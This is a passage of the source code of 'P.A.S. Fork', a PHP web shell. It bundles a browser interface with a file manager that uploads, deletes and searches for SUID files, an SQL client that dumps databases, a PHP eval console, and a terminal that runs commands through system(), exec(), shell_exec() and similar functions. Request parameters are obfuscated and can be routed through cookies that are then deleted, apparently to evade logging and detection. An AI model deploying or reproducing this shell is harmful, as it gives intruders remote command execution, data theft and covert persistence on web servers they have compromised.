pos = elmById('divTrm');
pos.scrollTop = pos.scrollHeight;
}
uiDelMsg(div);
}
function trmSaveState() {
if (exeFuncs.length === 0) return;
var e = elmById('frmTrm');
strgSaveStr('trmShell', e.s.value);
strgSaveBool('trmSilent', e.h.checked);
strgSaveOpt('trmFunc', e.f.value);
strgSaveOpt('trmLoadAs', e.c.value);
strgSaveOpt('trmSendAs', elmById('slctTrmCS').value);
strgSaveStr('trmPath', elmById('spnPth').title);
strgSaveArr('trmHist', trmHist);
}
function trmRestoreState() {
var cnt = exeFuncs.length;
if (cnt === 0) {
elmById('tabTrm').style.display = 'none';
return;
}
var frm = elmById('frmTrm'),
val = sessionStorage.getItem('trmFunc') | 0;
for (var i = 0; i < cnt; ++i) {
var opt = new Option(exeFuncs[i][1], exeFuncs[i][0]);
if (exeFuncs[i][0] === val) opt.selected = true;
frm.f.add(opt);
}
elmById('spnUsrHst').title = exeFuncs[0][2];
elmById('spnUsrHst').textContent = reduce(elmById('spnUsrHst').title);
val = sessionStorage.getItem('trmPath');
elmById('spnPth').title = val === null ? exeFuncs[0][3] : val;
elmById('spnPth').textContent = reduce(elmById('spnPth').title);
strgRstrVal('trmShell', frm.s);
strgRstrChck('trmSilent', frm.h);
strgRstrVal('trmSendAs', 'slctTrmCS');
strgRstrVal('trmLoadAs', frm.c);
}
function reduce(str, chr = 5){
return (document.body.style.width == '' && str.length > 50 ? str.substring(0, chr) + '…' + str.substring(str.length - chr) : str);
}
function uiUpdInf(chld) {
var div = elmById('divInfo');
div.removeChild(div.lastChild);
div.appendChild(chld);
}
function onInfMain(div, data) {
var tbl = newElm('table', {
id: 'tblInf'
});
for (var i = 0, l = data.length; i < l; ++i) {
if (i > 0) tbl.insertRow(-1).appendChild(newElm('th', {
colSpan: 2
}));
for (var key in data[i]) {
var tr = tbl.insertRow(-1);
tr.appendChild(newElm('th', {
textContent: key
}));
tr.insertCell(1).textContent = data[i][key];
}
}
uiUpdInf(tbl);
uiDelMsg(div);
}
function onInfPHP(div, data) {
var tbl = document.createElement('table');
tbl.id = 'tblInf';
for (var sct in data) {
var tr = tbl.insertRow(-1);
tr.appendChild(newElm('th', {
colSpan: 2,
textContent: sct
}));
for (var key in data[sct]) {
tr = tbl.insertRow(-1);
tr.appendChild(newElm('th', {
textContent: key
}));
tr.insertCell(1).textContent = data[sct][key];
}
}
uiUpdInf(tbl);
uiDelMsg(div);
}
function ajxSnd(msg, clbck, frm, data, chrst) {
RO = elmById('cbRO').checked;
RR = elmById('cbRR').checked;
TM = elmById('cbTM').checked;
OI = elmById('cbOI').checked;
function obfuscate(data) {
if (obfKey === false || data.length < 2) return data;
var r = [],
l = data.length;
data = data.split('');
for (var i = 0; i < l; ++i) {
var c = (i % 2 === 0) ? data.pop() : data.shift();
r.push(c === obfKey ? '' : c);
}
return r.join(obfKey);
};
function cancel() {
document.body.removeChild(reqIfrm);
uiDelMsg(msgDiv);
return false;
};
function onResp() {
deleteAllCookies();
msgDiv.firstChild.onclick = uiClsMsg;
var doc = reqIfrm.contentDocument;
var xr = reqIfrm.getAttribute('xr');
var xc = reqIfrm.getAttribute('xc');
var resp = xr ? xr : doc.body.textContent;
var cset = xc ? xc : doc.characterSet;
var data = RO ? resp : getValue(resp);
document.body.removeChild(reqIfrm);
if (data.slice(0, 2) === '\x01\x02') {
if (data.slice(-3) === '\x17\x04\x10' && data.indexOf('\x03\x1E')) data = data.slice(2, -3);
else data = false;
} else try {
data = JSON.parse(data);
} catch (e) {
data = false;
}
if (data === false) uiNetErrMsg(msgDiv);
else if (clbck) clbck.call(frm, msgDiv, data, cset);
else uiDelMsg(msgDiv);
};
var msgDiv = uiMsg(msg),
obfKey = false,
reqIfrm = newElm('iframe', {
src: '',
name: 'ifrm' + (new Date().getTime())
}),
reqFrm = newElm('form', {
acceptCharset: (chrst ? chrst : 'UTF-8'),
action: window.location.href,
method: 'post',
target: reqIfrm.name
}),
elm;
if (RO) data.ro = '1';
if (TM) data.tm = '1';
if (obfKey !== false) data.k = obfKey;
elm = elmById('frmCstEnv');
if (elm.e.checked && elm.i.value !== '') {
data.j = [elm.f.value, elm.s.value, elm.i.value, ''];
if (elm.n.checked) data.j[3] = 'n';
if (elm.c.checked) data.j[3] += 'C';
}
for (var key in data)
if (Array.isArray(data[key]))
for (var i = 0, c = data[key].length; i < c; ++i) reqFrm.appendChild(newElm('input', {
type: 'hidden',
name: RR ? key + '['+ i +']' : setName(key + '['+ i +']'),
value: RR ? data[key][i]: setValue(data[key][i])
}));
else reqFrm.appendChild(newElm('input', {
type: 'hidden',
name: RR ? key : setName(key),
value: RR ? data[key] : setValue(data[key])
}));
if (frm)
for (var i = frm.elements.length - 1; i >= 0; --i) {
elm = frm.elements[i];
if (elm.name === '' || elm.disabled) continue;
if (elm.tagName === 'INPUT') {
if ((elm.type === 'checkbox' || elm.type === 'radio') && !elm.checked) continue;
if (elm.type === 'file') {
if(RR){
reqFrm.enctype = 'multipart/form-data';
reqFrm.appendChild(elm.cloneNode(true));
}
continue;
}
}
if (elm.value !== '' || elm.tagName === 'TEXTAREA') reqFrm.appendChild(newElm('input', {
type: 'hidden',
name: RR ? elm.name : setName(elm.name),
value: RR ? elm.value : setValue(elm.value)
}));
}
document.body.appendChild(reqFrm);
addEncKey(reqFrm);
status = false;
if(COOKIE && reqFrm.enctype != 'multipart/form-data'){
status = submitViaCookie(reqFrm, false);
if(status == 'SEND'){
elements = reqFrm.childNodes;
while(elements.length)
for(i = 0; i < elements.length; i++)
reqFrm.removeChild(elements[i]);
reqFrm.method = 'get';
}
else
reqFrm.method = 'post';
}
document.body.appendChild(reqIfrm);
if(status != 'CANCEL'){
if(OI && reqFrm.method == 'get')
reqIfrm.src = reqFrm.action;
else if(!data.hasOwnProperty('d')){
var xhr = new XMLHttpRequest();
xhr.open(reqFrm.method, '', false);
xhr.send(new FormData(reqFrm));
reqIfrm.setAttribute('xr', xhr.responseText);
reqIfrm.setAttribute('xc', xhr.getResponseHeader('content-type').split('=')[1]);
reqIfrm.srcdoc = '';
}
else
(COOKIE || !OI && reqFrm.method == 'get' ? window.location.href = window.location.pathname : reqFrm.submit());
reqIfrm.onload = onResp;
}
document.body.removeChild(reqFrm);
msgDiv.firstChild.onclick = cancel;
setTimeout(deleteAllCookies, 100);// sorry :(
return false;
}
</script>
<script id="dataExe"type="text/data"><?php $a=array('system','passthru','backticks','shell_exec','exec','popen');if(PHP_VERSION>='4.3')$a[]='proc_open';if(safemode())$a[101]='safemode';/*if(defined('EXP_EOF')){$a[7]='expect://';$a[8]='expect_popen';}*/if(!NIX&&defined('CLSCTX_ALL'))$a[10]='com';/*$s=NIX?';':'&';$c=NIX?'pwd':'cd';$w=NIX?'whoami':'echo %username%';foreach($a as$k=>$v)exe('echo '.$k.':'.$v.$s.$w.$s.'hostname'.$s.$c,$k,'',FALSE);*/foreach($a as $k => $v){if(function_exists($v)) print $k.':'.$v."\n".get_current_user()."\n".gethostname()."\n".__DIR__."\n";}?></script></head><body onkeydown="uiKeyDwn(event)"><div id="divHdr"class="divCntrls"><a href="#"class="cntrl"title="Color mode"onclick="return invertColors()">•</a><a href="#"class="cntrl"title="Resize view"onclick="return uiRszBody()">⇄</a><a href="#"class="cntrl"title="Settings"onclick="return uiShwModal('divStngs')">⚙</a></div><div id="divBody"><span id="tabFM"><a href="#tabFM"class="tab">File Manager</a><div class="tabPage"id="divFM"><textarea id="txtClpbrd"tabindex="-1"></textarea><form hidden id="frmUpl"><input type="file"name="f[]"id="inpUpl" onchange="uplFiles()"/></form><form class="toolbar"id="frmFM"onsubmit="return goTo(this.p.value)"><a href="#"class="cntrl"id="btnSrch"title="Search..."onclick="return uiShwFrmSrch()"></a><button type="button"title="Go home!"onclick="goTo('~')">~</button> <button title="Go!">></button> <?php if(!NIX){$a=range('A','Z');foreach($a as$v){$i=new FileInfo($v.':\\');if($i->isDir())echo'<button type="button"onclick="goTo(',"'",$v,":\\\\'",')">',$v,':</button>';}}?> <input type="text"name="p"value="<?php echo escHTML(selfPath());?>"/><span class="spnBtnSbMn"><button type="button"id="btnFastAct"title="Fast actions..."onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)"><hr class="arwDwn"/></button><div class="divSbMn"onclick="onFastActClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Properties</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Download</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Delete</a></div></span> <span class="spnChrst"title="Send as..."><hr class="arwUp"/> <select id="fmCSSend"><?php foreach($C as$v)echo'<option>',$v,'</option>';?></select></span><span class="spnChrst"title="Load as..."><hr class="arwDwn"/> <select id="fmCSLoad"><?php foreach($C as$k=>$v)echo'<option value="',$k,'">',$v,'</option>';?></select></span></form><div class="subbar"><button type="button"title="You can upload multiple files at once..."onclick="elmById('inpUpl').click()">Upload …</button><span class="spnBtnSbMn"><button type="button"class="btnSbMn"onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)">Create <hr class="arwDwn"/></button><div class="divSbMn"onclick="onCrtMenuClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">File</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Link</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Directory</a></div></span><span class="spnBtnSbMn"><button type="button"class="btnSbMn"id="btnBufferMenu"onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)"disabled>Buffer <hr class="arwDwn"/></button><div class="divSbMn"onclick="onBufferMenuClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Show files<a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Copy here</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Move here</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Download</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Clear</a></div></span></div><div><form id="frmFiles"><table id="tblFiles"cols="<?php echo NIX?8:7;?>"onclick="onTblFilesClick(event)"><thead><tr><th width="20px"><input type="checkbox"onclick="uiCheckAll('Files', this.checked)"/></th><th>Name</th><th width="65px">Ext</th><th width="105px">Size</th><th width="145px">Modified (UTC)</th><th width="95px">Permission</th> <?php if(NIX){?><th width="155px">Owner</th><?php }?> <th width="65px">Actions</th></tr></thead><tfoot><tr><th colspan="<?php echo NIX?8:7;?>"><button type="button"onclick="dwnFiles(getSlctdFiles())">Download</button><button type="button"onclick="prpsSlctdFiles()">Properties</button><button type="button"onclick="markSlctdFiles()">Mark</button><button type="button"onclick="delFiles(getSlctdFiles())">Delete</button></th></tr></tfoot></table></form></div><template id="tmplFilesTBody"><tbody><tr><th colspan="<?php echo NIX?8:7;?>"class="thPth"></th></tr><tr><td class="tdUp"><input type="hidden"/>↴</td><td colspan="<?php echo NIX?7:6;?>"><a href="#"class="lnkBlck">[ .. ]</a></td></tr></tbody></template><template id="tmplFileRow"><tr><td><input type="checkbox"name="f[]"/></td><td><a href="#"class="lnkBlck"></a></td><td><a href="#"class="lnkBlck"></a></td><td><a href="#"class="lnkAct"></a></td><td></td><td><a href="#"class="lnkAct"></a></td><?php if(NIX){?><td></td><?php }?><td><a href="#"class="lnkAct">Mrk</a> <a href="#"class="lnkAct">Del</a></td></tr></template><div id="divWndws"><template id="tmplFrmFile"><form class="modal frmFile"onsubmit="saveFile(event)"onmousedown="uiActvModal(event)"tabindex="-1"><div class="divCntrls"ondblclick="return uiRsz(this.parentNode)"><span class="spnTitle">New File</span><a href="#"class="cntrl"title="Close"onclick="return uiDstrModal(this.parentNode.parentNode)">×</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz(this.parentNode.parentNode)">⤢</a><a href="#"class="cntrl"title="Reload file"onclick="rldFile(event)">⟳</a></div><textarea name="t"></textarea><div class="flexRow"><input type="text"required/><select name="c"title="File encoding..."onchange="rldFileAs(event)"><?php foreach($C as$k=>$v)echo'<option value="',$k,'">',$v,'</option>';?></select><select name="e"><option value="0">\r\n</option><option value="1"<?php if(NIX)echo' selected';?>>\n</option><option value="2">\r</option></select><button>Save</button></div></form></template><form id="frmSrch"class="modal"onmousedown="uiActvModal(event)"onsubmit="srchFiles(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Search</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmSrch')">×</a></div><label class="option"title="exx: <?php echo NIX?'/var/www:/etc:/tmp/':'c:\\inetpub\\wwwroot;d:\\www\\';?>">Paths<input type="text"required /></label><div class="flexRow noFlex"><div class="option"> Name (<label title="? - single char; * - zero or more char; [!0123A-Z] - class of chars (- for range, ! to exclude)"><input type="checkbox"name="w"/>wildcard</label>, <label><input type="checkbox"name="i"/>case-insensitive</label>) <input type="text"name="n"/></div><label class="option"title="Max search depth">Depth<input type="text"name="d"size="1"size="1"/></label><label class="option">Type <select name="y"onchange="uiSrchFTypeChngd()"><option value="">Any</option><option value="1">Dirs</option><option value="0">Files</option></select></label><label class="option">Mode <select name="p"><option value="">Any</option><option value="1">Readable</option><option value="2">Writable</option><option value="3">Full access</option></select></label> <?php if(NIX){?> <label class="option"> Attribute <select name="u"><option value="">Any</option><option value="1">SUID</option></select></label></div><div class="flexRow"><label class="option"title="exx: 0, >1000, <1005, 1010-1015">Owner id<input type="text"name="o"/></label><hr class="spcr20"/><label class="option"title="exx: 0, >1000, <1005, 1010-1015">Group id<input type="text"name="g"/></label> <?php }?> </div><div class="flexRow"><label class="option"title="exx: >1991-08-24 00:00:00, <1991-08-24 00:00:00, 1991-08-24 00:00:00 - 1996-06-28 12:00:00, 1996-06-28 12:00:00">Created (UTC)<input type="text"name="e"/></label><hr class="spcr20"/><label class="option"title="exx: >1991-08-24 00:00:00, <1991-08-24 00:00:00, 1991-08-24 00:00:00 - 1996-06-28 12:00:00, 1996-06-28 12:00:00">Modified (UTC)<input type="text"name="m"/></label></div><div class="flexRow"><label class="option"title="exx: >10, <102400, 10-1024, 2048">Size (bytes)<input type="text"name="z"/></label><hr class="spcr20"/><div class="option">Text (<label title="Delimiter is pound (#)"><input type="checkbox"name="x"/>use regex</label>, <label><input type="checkbox"name="v"/>case-insensitive</label>)<input type="text"name="t"/></div></div><div class="flexRow"><label><input type="checkbox"name="l"/> Process links</label><hr class="spcrFlex"/><button>Search</button></div></form><form id="frmLnk"class="modal"onmousedown="uiActvModal(event)"onsubmit="mkLnk(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Create Link</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmLnk')">×</a></div><label class="option">Target Path: <input type="text"name="p"required/></label><label class="option">Link Path: <input type="text"required/></label><div class="flexRow"><select name="t"><option value="0">Symbolic</option><option value="1">Hard</option></select><hr class="spcrFlex"/><button>Create</button></div></form><template id="tmplFrmPrps"><form class="modal frmFilesPrps"onmousedown="uiActvModal(event)"onsubmit="chngPrps(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Properties</span><a href="#"class="cntrl"title="Close without saving"onclick="return uiDstrModal(this.parentNode.parentNode)">×</a></div><label class="option">Path<input type="text"name="p"request/></label><div class="flexRow"><label class="option">Modified (UTC) <a href="#"class="cntrl arwDwn"onclick="setErlDate(event)"title="Set the earliest date from table"></a><input type="text"size="1"name="t"/></label> <?php if(NIX){?> <hr class="spcr20"/><label class="option">Permission<input type="text"size="1"name="e"/></label><hr class="spcr20"/><label class="option">Owner<input type="text"size="1"name="o"/></label><hr class="spcr20"/><label class="option">Group<input type="text"size="1"name="r"/></label></div><div class="flexRow"> <?php }?> <hr class="spcrFlex"/><button >Save</button></div></form></template><form id="frmBuffer"class="modal"onmousedown="uiActvModal(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Buffer</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmBuffer')">×</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz('frmBuffer')">⤢</a></div><table id="tblBuffer"onclick="onTblBufferClick(event)"><thead><tr><th width="20px"><input type="checkbox"onclick="uiCheckAll('Buffer', this.checked)"/></th><th>File</th><th width="35px">Act</th></tr></thead><tfoot><tr><th colspan="3"><button type="button"onclick="unmarkFiles()">Remove</button></th></tr></tfoot></table><template id="tmplBufferRow"><tr><td><input type="checkbox"name="f[]"/></td><td><a href="#"></a></td><td><a href="#"class="lnkAct">Rm</a></td></tr></template></form></div></div></span><span id="tabSQL"><a href="#tabSQL"class="tab">SQL Client</a><div class="tabPage"id="divPageSQL"><form class="toolbar"id="frmCnnct"onsubmit="return cnnct()"><select name="e"> <?php $a=array('MYSQL_NUM'=>array('MySQL','MySQL'),'MYSQLI_NUM'=>array('MySQLi','MySQLi'),'PDO::MYSQL_ATTR_INIT_COMMAND'=>array('MySQLPDO','MySQL (PDO)'),'MSSQL_NUM'=>array('MSSQL','MSSQL'),'SQLSRV_ERR_ALL'=>array('SQLSrv','MSSQL (SQLSrv)'),'PDO::PARAM_INT'=>array('MSSQLDBLIB','MSSQL (PDO_DBLIB)'),'PDO::PARAM_STR'=>array('MSSQLODBC','MSSQL (PDO_ODBC)'),'PDO::SQLSRV_ENCODING_UTF8'=>array('SQLSrvPDO','MSSQL (PDO_SQLSRV)'),'PGSQL_NUM'=>array('PGSQL','PostgreSQL'),'PDO::PARAM_LOB'=>array('PGSQLPDO','PostgreSQL (PDO)'));foreach($a as$k=>$v)if(defined($k))echo'<option value="',$v[0],'">',$v[1],'</option>';?> </select><input type="text"name="h"placeholder="Host"/><input type="text"name="u"placeholder="User"/><input type="text"name="p"placeholder="Password"/><input type="text"name="b"placeholder="Base"/><button>></button></form><div class="subbar"><span class="spnChrst"> <hr class="arwUp"/> <select id="sqlCSSend"><?php foreach($C as$k=>$v)echo'<option value="',$k,'">',$v,'</option>';?></select></span><span class="spnChrst"><hr class="arwDwn"/> <select id="sqlCSLoad"><?php foreach($C as$k=>$v)echo'<option value="',$k,'">',$v,'</option>';?> </select></span></div><div id="divSQL"><div id="divSQLWrpLeft"><div class="panel"><label><input type="checkbox"id="cbCR"/> Count number of rows</label></div><div class="panel"><div id="divSchm"></div></div><div class="panel"id="divDump">Dump as <select id="slctDmpFrmt"><option value="0">SQL</option><option value="1">CSV</option></select><button type="button"onclick="dump()">></button></div></div><div id="divSQLWrpRight"><form class="panel flexRow"id="frmSQL"onsubmit="return query()"><input type="text"name="q"placeholder="SQL query"/><button>></button></form><div id="divCptn"></div><div id="divData"><table id="tblHead"></table><table id="tblData"></table></div><form class="panel"id="frmPg"onsubmit="return chngPg(0)"><input type="hidden"name="b"/><input type="hidden"name="s"/><input type="hidden"name="t"/> Start from row <button type="button"onclick="chngPg(-1)"><</button><input type="text"name="o"size="5"value="0"/><button type="button"onclick="chngPg(1)">></button><div style="float:right">Rows per page <input type="text"name="r"size="3"value="25"/><button>></button></div></form></div></div></div></span><span id="tabPHP"><a href="#tabPHP"class="tab">PHP Console</a><div class="tabPage"id="divPagePHP"><form class="toolbar"id="frmPHP"onsubmit="return evl()"><label><a href="#"title="Change composition"class="cmpsRow"id="aCmps"onclick="return uiChngCmps()">Composition</a></label><label title="Erase PHP code after successful eval"><input type="checkbox"id="cbClnInp"/> Clear input</label><label title="Erase previous results before show new"><input type="checkbox"id="cbClnOut" checked/> Clear output</label><label title="Render result as HTML"><input type="checkbox"id="cbHTML"/> Show as HTML</label><label><input type="checkbox"name="h"/> Hide PHP errors</label><div><span class="spnChrst"title="Send as..."><hr class="arwUp"/> <select id="slctPHPCS"><?php foreach($C as$v)echo'<option>',$v,'</option>';?></select></span><span class="spnChrst"title="Load as..."><hr class="arwDwn"/> <select name="c"><?php foreach($C as$k=>$v)echo'<option value="',$k,'">',$v,'</option>';?></select></span><button id="sbmPHP"title="Press Ctrl + Enter to evaluate code">Eval</button></div></form><div id="divPHP"><textarea name="e"form="frmPHP"id="txtPHP"placeholder="phpinfo();"onkeydown="onPHPKeyDwn(event)"></textarea><pre id="prePHP"onkeydown="onPHPResKeyDwn(event)"tabindex="-1"></pre></div></div></span><span id="tabTrm"><a href="#tabTrm"class="tab">Terminal</a><form class="tabPage"id="frmTrm"onsubmit="return exec()"><div class="toolbar"><label class="flexRow"title="Shell must be able to accept command from the argument 'c' (e.g.: $<?php echo NIX?"/bin/shell -c 'uname -a; id'":"cmd /c 'ver; pwd'";?>)">Shell: <input type="text"name="s"placeholder="<?php echo NIX?'/bin/sh':'';?>"/></label><label><input type="checkbox"name="h"> Don't show errors</label><label><input type="checkbox" id="cbIT"/> Invert output</label><label>Use function: <select name="f"></select></label><div><span class="spnChrst"title="Send as..."><hr class="arwUp"/> <select id="slctTrmCS"><?php foreach($C as$v)echo'<option>',$v,'</option>';?></select></span><span class="spnChrst"style="text-align:right"title="Load as..."><hr class="arwDwn"/> <select name="c"><?php foreach($C as$k=>$v)echo'<option value="',$k,'">',$v,'</option>';?></select></span></div></div><div id="divTrm"onclick="onTrmClick(event)"><pre id="preTrm"onkeydown="onTrmResKeyDwn(event)"tabindex="-1"></pre><div class="flexRow"><span id="spnUsrHst"></span>:<span id="spnPth"></span>$ <input type="text"name="e"id="inpTrm"onkeydown="onTrmInpKeyDwn(event)"autocomplete="off"/></div></div></form></span><span id="tabInf"><a href="#tabInf"class="tab">Information</a><div class="tabPage"id="divInfo"><div class="toolbar"><div><a href="#"class="lnkAct"onclick="return ajxSnd('Get main info', onInfMain, null, {a:'i',t:'m'})">Main</a> / <a href="#"class="lnkAct"onclick="return ajxSnd('Get php info', onInfPHP, null, {a:'i',t:'p'})">PHP</a> / </div></div> <?php infMain(TRUE);?></div></span></div><div class="panel"id="divFtr"><div><a href="https://github.com/cr1f/P.A.S.-Fork/"target="blank">P.A.S. Fork v. <?php echo VER;?></a></div><div id="divDtTm"title="Server Time"><span></span></div><div><a href="#"id="actLog"title="Message log"onclick="return uiShwModal('divLog')">⚠</a></div></div><div class="modal"onmousedown="uiActvModal(event)"id="divStngs"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Settings</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('divStngs')">×</a></div> <label class="option"><input onclick="COOKIE = (this.checked ? 1 : 0)" type="checkbox" id="cbCO"/> Use cookie to request</label> <label class="option"><input type="checkbox" id="cbRR"/> Skip request encoding</label><label title="Raw Output mode for big files. Skip response encoding ('ob_*')." class="option"><input type="checkbox" id="cbRO"/> Skip response encoding</label><label title="Shown in File Manager" class="option"><input type="checkbox" id="cbTM"/> <b>ctime</b> instead of <b>mtime</b></label><label class="option"><input type="checkbox" id="cbOI"/> <b>iframe</b> instead of <b>xhr</b></label><form id="frmCstEnv"onsubmit="return false"><fieldset id="fldEnv"><legend><label><input type="checkbox"id="e"/> Run in custom environment</label></legend><label>Function: <select name="f"></select></label><label class="option">Shell: <input type="text"name="s"placeholder="<?php echo NIX?'/bin/sh':'';?>"/></label><label class="option">Interpreter: <input type="text"name="i"value="<?php if(PHP_VERSION>='5.4')echo escHTML(PHP_BINARY);?>"/></label><label class="option"><input type="checkbox"name="n"/> -n No php.ini file will be used</label><label class="option"><input type="checkbox"name="c"/> -C Do not chdir to the script's directory</label></fieldset></form></div><div class="modal"onmousedown="uiActvModal(event)"id="divLog"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Message Log</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('divLog')">×</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz('divLog')">⤢</a><a href="#"class="cntrl"title="Clear"onclick="return clnLog()">≢</a></div><div id="divLogCntn"></div></div><div id="divMsgs"class="divCntrls"></div></body>
<?=paramsHandlerJS()?>
<script>
<?php if($GLOBALS['ACECONF']['URL']){ ?>
function aceEditorProcess(element = false){
if(typeof ace == 'undefined'){
var aceScript = document.createElement('script');
aceScript.src = '<?=$GLOBALS['ACECONF']['URL']?>';
document.body.appendChild(aceScript);
aceScript.onload = function(){
aceEditor = [];
aceEditorModes = ['php', 'perl', 'python', 'golang', 'ruby', 'javascript', 'sh', 'powershell' , 'sql', 'apache_conf', 'nginx', 'lua', 'markdown'];
aceEditorThemes = ['eclipse', 'dreamweaver', 'crimson_editor', 'sqlserver', 'solarized_light', 'xcode', 'katzenmilch', 'dawn', 'iplastic', 'monokai', 'ambiance', 'cobalt', 'nord_dark'];
if(element) aceFileEditor(element);
acePHPEditor();
}
return false;
}
aceFileEditor(element);
}
function aceFileEditor(element){
var parentForm = getParentFormOf(element);
var eId = parentForm.name = (parentForm.name ? parentForm.name : Math.random().toString(36).substring(2, 15));
var flexRow = parentForm.children[2];
var textArea = parentForm.elements[0];
var saveButton = parentForm.elements[4];
var reloadButton = parentForm.children[0].children[3];
var editorButton = parentForm.children[0].children[4];
var closeButton = parentForm.children[0].children[1];
var aceEditorDiv = parentForm.children[eId];
var aceEditorModeSelect = flexRow.children[1];
var aceEditorThemeSelect = flexRow.children[2];
if(aceEditorDiv){
parentForm.removeChild(aceEditorDiv);
flexRow.removeChild(aceEditorModeSelect);
flexRow.removeChild(aceEditorThemeSelect);
textArea.value = aceEditor[eId].getValue();
textArea.style.display = 'inline';
saveButton.setAttribute('onclick', '');
reloadButton.setAttribute('oncontextmenu', '');
reloadButton.setAttribute('title', '');
closeButton.setAttribute('onclick', 'return uiDstrModal(this.parentNode.parentNode)');
clearInterval(aceEditor[eId]['setInterval']);
delete aceEditor[eId];
return false;
}
var wrapLines = 'aceEditor["' + eId + '"].setOption("wrap", (aceEditor["' + eId + '"].getOption("wrap") == "free" ? "off" : "free")); return false;';
var clickNscroll = 'aceEditor["' + eId + '"]["reloadButton"].click(); setTimeout("aceEditor[`' + eId + '`].scrollToRow(Number.MAX_SAFE_INTEGER)", 200);';
var hotKeys = `
if(event.ctrlKey){
if(event.keyCode === 83){
getParentFormOf(this).elements[6].click(); return false;
}
if(event.keyCode === 69){
` + wrapLines + `
return false;
}
}
`;
var hotKeysHint = `Ctrl + [KEY]:\n\nS - Save\nE - Line wrap\nL - Go to line\nP - Go to bracket\nH - Find and Replace\n\nSee the AceJS wiki for more.`;
var aceEditorDiv = document.createElement('div');
aceEditorDiv.id = eId;
aceEditorDiv.contentEditable = 'true';
aceEditorDiv.style = 'border: 1px solid #7f7f7f; height: 100%; margin: 2px;';
aceEditorDiv.textContent = textArea.value;
aceEditorDiv.setAttribute('onkeydown', hotKeys);
parentForm.insertBefore(aceEditorDiv, parentForm.children[3]);
parentForm.setAttribute('onmousedown', 'if(event.srcElement.className != "ace_content") uiActvModal(event)');
saveButton.setAttribute('onclick', 'getParentFormOf(this).elements[0].value = aceEditor[\'' + eId + '\'].getValue()');
reloadButton.setAttribute('oncontextmenu', `
var e = aceEditor['` + eId + `'];
var p = prompt((e['reloadInterval'] ? 'Current value is ' + e['reloadInterval'] + '. ' : '') + 'Set reload interval in seconds: \\n\\n');
var s = Math.abs(Number(p));
clearInterval(e['setInterval']);
if(s > 0){
e['reloadInterval'] = s;
e['setInterval'] = setInterval('` + clickNscroll + `', s * 1000);
this.title = s + ' sec.';
this.style.color = 'red';
}
else if(e['reloadInterval']){
this.style.color = this.title = '';
clearInterval(e['setInterval']);
delete e['reloadInterval'];
}
else if(p == null){
` + clickNscroll + `
}
return false;
`);
editorButton.title = hotKeysHint;
closeButton.setAttribute('onclick', 'clearInterval(aceEditor[\'' + eId +'\'][\'setInterval\']); delete aceEditor[\'' + eId + '\'];' + closeButton.getAttribute('onclick'));
textArea.style.display = 'none';
if(!textArea.setterRedefined) redefineSetter(textArea, eId);
aceEditor[eId] = ace.edit(eId);
aceEditor[eId].reloadButton = reloadButton;
setEditorOptions(aceEditor[eId]);
new ResizeObserver((function(){if(aceEditor[eId]) aceEditor[eId].resize()})).observe(parentForm);
aceEditorThemeSelect = buildSelectFor(aceEditorThemes, '<?=$GLOBALS['ACECONF']['THEME']?>', 'aceEditor[\'' + eId + '\'].setTheme(\'ace/theme/\' + this.value);');
aceEditorModeSelect = buildSelectFor(aceEditorModes, '<?=$GLOBALS['ACECONF']['MODE']?>', 'aceEditor[\'' + eId + '\'].session.setMode(\'ace/mode/\' + this.value);');
aceEditorModeSelect.setAttribute('oncontextmenu', wrapLines);
aceEditorModeSelect.title = 'Right click to change line wrap';
flexRow.insertBefore(aceEditorModeSelect, flexRow.children[1]);
flexRow.insertBefore(aceEditorThemeSelect, flexRow.children[1]);
}
function acePHPEditor(){
var frmPHP = document.getElementById('frmPHP');
var divPHP = document.getElementById('divPHP');
var acePHPDiv = document.createElement('div');
var evalButton = document.getElementById('sbmPHP');
var textArea = document.getElementById('txtPHP');
acePHPDiv.textContent = '\x3c?php\n\nphpinfo();';
acePHPDiv.style = 'border: 1px solid #C7C7C7; margin: 2px;flex: 1;';
textArea.style.display = 'none';
redefineSetter(textArea, 'acePHPDiv');
divPHP.insertBefore(acePHPDiv, divPHP.children[1]);
evalButton.setAttribute('onclick', 'divPHP.children[0].value = aceEditor[\'acePHPDiv\'].getValue();');
aceEditor['acePHPDiv'] = ace.edit(acePHPDiv);
setEditorOptions(aceEditor['acePHPDiv']);
aceEditor['acePHPDiv'].session.setMode('ace/mode/php');
frmPHP.insertBefore(buildSelectFor(aceEditorThemes, '<?=$GLOBALS['ACECONF']['THEME']?>', 'aceEditor[\'acePHPDiv\'].setTheme(\'ace/theme/\' + this.value);'), frmPHP.children[1]);
}
function setEditorOptions(e){
e.setFontSize('14px');
e.setTheme('ace/theme/<?=$GLOBALS['ACECONF']['THEME']?>');
e.session.setMode('ace/mode/<?=$GLOBALS['ACECONF']['MODE']?>');
e.setOption('showPrintMargin', false);
e.setOption('wrap', true);
e.session.setUseWorker(false);
e.setBehavioursEnabled(true);
}
function redefineSetter(textArea, eId){
Object.defineProperty(textArea, 'value', {
set(value){
this.setterRedefined = true;
if(aceEditor[eId])
aceEditor[eId].setValue(value, -1);
